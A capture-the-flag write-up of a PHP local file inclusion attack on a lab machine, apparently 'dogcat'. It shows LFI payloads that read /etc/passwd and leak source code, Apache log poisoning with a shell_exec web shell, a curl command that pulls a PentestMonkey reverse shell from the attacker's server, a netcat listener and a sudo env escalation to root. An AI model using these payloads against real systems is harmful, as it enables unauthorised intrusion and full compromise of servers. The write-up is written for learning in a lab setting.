My Rating: Easy
Operating System: Linux
Overview
We will execute arbitrary commands and even gain remote shell access using nothing but Local File Inclusion (LFI) by exploiting the include function in PHP.
The CTF machine used for this post can be found here.
Recon
A quick Nmap scan shows the following ports open on the victim machine:
# Nmap 7.80 scan initiated Thu May 28 17:04:52 2020 as: nmap -sCV -oA nmap/dogcat 10.10.8.25
Nmap scan report for 10.10.8.25
Host is up (0.078s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Thu May 28 17:05:44 2020 -- 1 IP address (1 host up) scanned in 52.06 seconds
Looks like the machine has OpenSSH running (port 22) and the banner tells us we are dealing with Ubuntu Linux. There is also an Apache server running (port 80) so we will poke at that first.
Enumeration
LFI
Upon loading the webpage we are met with ‘dog’ and ‘cat’ buttons that display an image of a dog/cat depending on the users input.
That’s about it, before busting the website for directories and files lets talk about the URL.
Keep in mind I added index.php to verify that the web server is running PHP. When we click on the dog button the view parameter is set to ‘dog’ and the same goes for clicking on the cat button.
Knowing all of this it is very likely that the webpage is using the PHP function ‘include’ which is typically used to put data of one PHP file into another PHP file.
Here is where Local File Inclusion (LFI) comes in. An attacker could use this file inclusion to read arbitrary files and possibly execute commands on the remote machine. Since we know that
this is a Linux machine, let’s try include the /etc/passwd file. This text file contains basic information about each user/account on the machine.
By default this file is world readable meaning any user can read it making it a prime target when confirming an LFI vulnrability. We can do this by setting the view parameter to ‘/etc/passwd’:
However, we are met with the following error message.
Judging by the error message it is possible that the URL must contain ‘dog’ or ‘cat’. We can easily bypass this by adding dog or cat to our path. Remember the path has to be valid.
We get another error message specifying that there is no ‘/etc/passwd.php’ file. We did not append .php to our request so it looks like the web server is doing that.
Let’s try reading the ‘index.php’ file and find out what this code is doing exactly. There is just one obstacle we need to overcome; when we include a .php file we wont be able to see
the actual PHP code since it runs on the server. A way around this is to use a handy PHP wrapper to base64 encode the file which we can decode later on.
Since the base64 output will be lengthy we can use cURL from the terminal.
root@crab:~# curl http://10.10.8.194/?view=php://filter/convert.base64-encode/resource=./dog/../index
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
Here you go!
PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== </div>
</body>
</html>
I have pasted the raw base64 below as well in case you want to copy-paste it.
PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSAICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==
We can now decode it and read the source code. I saved it to a file called index.php to remain organized.
root@crab:~# echo -n 'PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgI[9/9]
5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYW$
sZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJl
Zj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uP
jwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcy
gkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICA
gICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigk
X0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZ
XcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOw
ogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+
Cg==' | base64 -d > index.php
root@crab:~# cat index.php
<html>
...
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat">
<button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
...
</html>
The following line is particularly interesting; similar to the ‘view’ parameter there is an ‘ext’ parameter that specifies the file extention and if it is not set then it will be .php by default. This explains why
.php is appended to all file requests.
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
To bypass this we just set the ‘ext’ parameter as empty. Just like before we will use cURL and dump the /etc/passwd file.
root@crab:~# curl 'http://10.10.8.194/?view=./dog../../../../../etc/passwd&ext='
...
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
Here you go!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</div>
...
Done! Let’s try execute commands and gain access.
Gaining access
www-data
Since we have a consistent way to view files, we can enumerate and find a way to execute commands on the victim machine.
If you remember from the Nmap scan the website is being hosted on an Apache web server which by default has an access log. Let’s try print it out to make sure it exists. The default location is ‘/var/log/apache2/access.log’ and remember to specify an empty ‘ext’ parameter.
root@crab:~# curl 'http://10.10.8.194/?view=./dog/../../../../var/log/apache2/access.log&ext='
127.0.0.1 - - [07/Aug/2020:13:55:35 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:13:56:06 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:13:56:36 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:13:57:06 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:13:57:37 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:13:58:07 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:13:58:37 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:13:59:08 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:13:59:38 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:00:09 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:14:00:39 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:01:09 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:01:40 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:14:02:10 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:02:40 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:03:11 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:03:41 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [07/Aug/2020:14:04:11 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" 127.0.0.1 - - [07/Aug/2020:14:04:42 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
Notice how the User-Agent is being logged as well? In this case it is ‘curl/7.64.0’ but it depends on how you access the website. For example, if I access the website with Mozilla Firefox this is how it would look:
... "GET /index.pho HTTP/1.1" 404 492 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) ...
Knowing this, we can intercept our request using Burp and replace the User-Agent variable in the header with PHP code. The following is the PHP code we will inject.
This is how it works for those who do not know much PHP:
- shell_exec: This function will execute a command given to it
- GET['cmd']: This works the same as the 'view' and 'ext' parameters but instead we will give it a command instead of file
- echo: This is just to print out the output of our command so we know it executed as we wanted
<?php echo shell_exec($_GET['cmd']) ?>
Launching burp and turning on intercept we can intercept any request and easily change the User-Agent variable.
Now our malicious PHP code should be sitting comfortably in the log file so we can dump it again but this time specify the ‘cmd’ parameter with a command we wish to execute.
To verify that it works we will try the ‘whoami’ command first which will print the current user.
root@crab:~# curl 'http://10.10.8.194/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=whoami'
...
10.9.27.45 - - [07/Aug/2020:14:31:17 +0000] "GET /index.php HTTP/1.1" 200 500 "-" "www-data"
...
Notice how our User-Agent no longer says cURL or Mozilla? We executed the ‘whoami’ command as the www-data user! Let’s go ahead and download a malicious PHP reverse shell.
PentestMonkey has a good PHP reverse shell that we can use. Note this is not the most subtle option but it works well.
This will need to be modified by changing the IP variable to our IP address, same goes to the port. Remember to keep firewall in mind when choosing a port.
...
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.27.45'; // CHANGE THIS
$port = 53; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
We will use Python’s Simple HTTP Server to host our modified PHP reverse shell so that it can be downloaded onto the victim machine.
root@crab:~# ls -l; python3 -m http.server 80
total 4
-rw-r--r-- 1 root root 3457 Aug 7 11:52 rev.php
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And finally just like we executed the ‘whoami’ command we will now execute cURL to download the reverse shell from our machine.
root@crab:~# curl 'http://10.10.8.194/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=curl 10.9.27.45/rev.php > rev.php'
We can confirm the file downloaded by checking our Python Simple HTTP Server logs and looking for a GET /rev.php request with the victim machine IP address.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.8.194 - - [07/Aug/2020 12:16:52] "GET /rev.php HTTP/1.1" 200 -
...
Now all that’s left is to listen for incoming connections on port 53.
root@crab:~# rlwrap nc -lnvp 53
listening on [any] 53 ...
And execute the uploaded rev.php file
root@crab:~# curl 'http://10.10.208.124/rev.php'
connect to [10.9.27.45] from (UNKNOWN) [10.10.208.124] 37260
Linux 86fbd7fbd6ce 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
16:21:53 up 2:40, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami && id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Great! We finally have a reverse shell using nothing but LFI.
Privilage Escalation
root
Now that we have www-data, we have a very low privilage so we should try get the root (Admin) account. If we list what commands www-data can execute as root we get /usr/bin/env.
$ sudo -l
Matching Defaults entries for www-data on 86fbd7fbd6ce:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 86fbd7fbd6ce:
(root) NOPASSWD: /usr/bin/env
$
Exploiting this is very straight forward since we can pass a command as an argument. In this case we will pass ‘bash’ and spawn a root shell.
$ sudo /usr/bin/env bash
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
That’s it :)
Conclusion
A simple machine that shows how LFI does not only allow attackers to read files, it’s much more dangerous than that. As for the root part? Not something you would find in a real life scinario but still interesting.